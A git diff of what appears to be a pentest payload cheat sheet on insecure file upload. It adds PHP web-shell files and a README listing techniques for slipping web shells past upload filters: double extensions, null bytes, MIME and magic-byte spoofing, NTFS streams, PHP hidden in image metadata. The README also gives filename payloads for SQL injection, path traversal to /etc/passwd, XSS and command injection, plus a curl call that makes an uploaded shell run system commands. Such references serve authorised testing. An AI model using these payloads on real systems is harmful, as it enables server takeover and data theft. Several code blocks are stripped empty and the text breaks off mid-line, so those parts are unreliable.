diff --git a/Upload Insecure Files/Extension PHP/php-script-tag.php b/Upload Insecure Files/Extension PHP/php-script-tag.php new file mode 100644 index 0000000..233a526 --- /dev/null +++ b/Upload Insecure Files/Extension PHP/php-script-tag.php @@ -0,0 +1 @@ + \ No newline at end of file diff --git a/Upload Insecure Files/Extension PHP/tiny.php b/Upload Insecure Files/Extension PHP/tiny.php new file mode 100644 index 0000000..6e4f7f3 --- /dev/null +++ b/Upload Insecure Files/Extension PHP/tiny.php @@ -0,0 +1,2 @@ + + \ No newline at end of file diff --git a/Upload Insecure Files/README.md b/Upload Insecure Files/README.md index 95b0ffe..4545177 100644 --- a/Upload Insecure Files/README.md +++ b/Upload Insecure Files/README.md @@ -2,7 +2,6 @@ > Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code. - ## Summary * [Tools](#tools) @@ -18,13 +17,11 @@ * [Labs](#labs) * [References](#references) - ## Tools -- [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool. -- [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - HTTP file upload scanner for Burp Proxy. -- [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - OWASP ZAP add-on for finding vulnerabilities in File Upload functionality. - +* [almandin/fuxploiderFuxploider](https://github.com/almandin/fuxploider) - File upload vulnerability scanner and exploitation tool. +* [Burp/Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - HTTP file upload scanner for Burp Proxy. +* [ZAP/FileUpload](https://www.zaproxy.org/blog/2021-08-20-zap-fileupload-addon/) - OWASP ZAP add-on for finding vulnerabilities in File Upload functionality. ## Methodology @@ -32,7 +29,10 @@ ### Defaults Extensions +Here is a list of the default extensions for web shell pages in the selected languages (PHP, ASP, JSP). + * PHP Server + ```powershell .php .php3 @@ -50,7 +50,9 @@ .phtm .inc ``` + * ASP Server + ```powershell .asp .aspx @@ -59,6 +61,7 @@ shell.aspx;1.jpg # (IIS < 7.0) shell.soap ``` + * JSP : `.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .actions` * Perl: `.pl, .pm, .cgi, .lib` * Coldfusion: `.cfm, .cfml, .cfc, .dbm` @@ -66,17 +69,19 @@ ### Upload Tricks -- Use double extensions : `.jpg.php, .png.php5` -- Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` -- Random uppercase and lowercase : `.pHp, .pHP5, .PhAr` -- Null byte (works well against `pathinfo()`) +**Extensions**: + +* Use double extensions : `.jpg.php, .png.php5` +* Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): `.php.jpg` +* Random uppercase and lowercase : `.pHp, .pHP5, .PhAr` +* Null byte (works well against `pathinfo()`) * `.php%00.gif` * `.php\x00.gif` * `.php%00.png` * `.php\x00.png` * `.php%00.jpg` * `.php\x00.jpg` -- Special characters +* Special characters * Multiple dots : `file.php......` , in Windows when a file is created with dots at the end those will be removed. * Whitespace and new line characters * `file.php%20` @@ -85,45 +90,68 @@ * Right to Left Override (RTLO): `name.%E2%80%AEphp.jpg` will became `name.gpj.php`. * Slash: `file.php/`, `file.php.\`, `file.j\sp`, `file.j/sp` * Multiple special characters: `file.jsp/././././.` -- Mime type, change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` - * `Content-Type : image/gif` - * `Content-Type : image/png` - * `Content-Type : image/jpeg` - * Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) - * Set the Content-Type twice: once for unallowed type and once for allowed. -- [Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - * Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. - * PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[` - * JPG: `\xff\xd8\xff` - * GIF: `GIF87a` OR `GIF8;` - * Shell can also be added in the metadata -- Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`") + +**File Identification**: + +MIME type, a MIME type (Multipurpose Internet Mail Extensions type) is a standardized identifier that tells browsers, servers, and applications what kind of file or data is being handled. It consists of a type and a subtype, separated by a slash. Change `Content-Type : application/x-php` or `Content-Type : application/octet-stream` to `Content-Type : image/gif` to disguise the content as an image. + +* `Content-Type : image/gif` +* `Content-Type : image/png` +* `Content-Type : image/jpeg` +* Content-Type wordlist: [SecLists/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) +* Set the `Content-Type` twice, once for unallowed type and once for allowed. + +[Magic Bytes](https://en.wikipedia.org/wiki/List_of_file_signatures) - Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application. + +* PNG: `\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[` +* JPG: `\xff\xd8\xff` +* GIF: `GIF87a` OR `GIF8;` + +**File Encapsulation**: + +Using NTFS alternate data stream (ADS) in Windows. +In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "`file.asax:.jpg`"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "`file.asp::$data.`") + +**Other Techniques**: + +PHP web shells don't always have the `` + + ```html + + ``` + +* The ` + ``` ### Filename Vulnerabilities Sometimes the vulnerability is not the upload but how the file is handled after. You might want to upload files with payloads in the filename. -- Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension` -- LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd` -- XSS Payloads e.g. `'">.extension` -- File Traversal e.g. `../../../tmp/lol.png` -- Command Injection e.g. `; sleep 10;` +* Time-Based SQLi Payloads: e.g. `poc.js'(select*from(select(sleep(20)))a)+'.extension` +* LFI/Path Traversal Payloads: e.g. `image.png../../../../../../../etc/passwd` +* XSS Payloads e.g. `'">.extension` +* File Traversal e.g. `../../../tmp/lol.png` +* Command Injection e.g. `; sleep 10;` Also you upload: -- HTML/SVG files to trigger an XSS -- EICAR file to check the presence of an antivirus +* HTML/SVG files to trigger an XSS +* EICAR file to check the presence of an antivirus ### Picture Compression Create valid pictures hosting PHP code. Upload the picture and use a **Local File Inclusion** to execute the code. The shell can be called with the following command : `curl 'http://localhost/test.php?0=system' --data "1='ls'"`. -- Picture Metadata, hide the payload inside a comment tag in the metadata. -- Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. - - [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py - - [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php - - [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php - +* Picture Metadata, hide the payload inside a comment tag in the metadata. +* Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating `getimagesize()` and `imagecreatefromgif()`. + * [JPG](https://virtualabs.fr/Nasty-bulletproof-Jpegs-l): use createBulletproofJPG.py + * [PNG](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createPNGwithPLTE.php + * [GIF](https://blog.isec.pl/injection-points-in-popular-image-formats/): use createGIFwithGlobalColorTable.php ### Picture Metadata @@ -139,29 +167,28 @@ exiftool -Comment="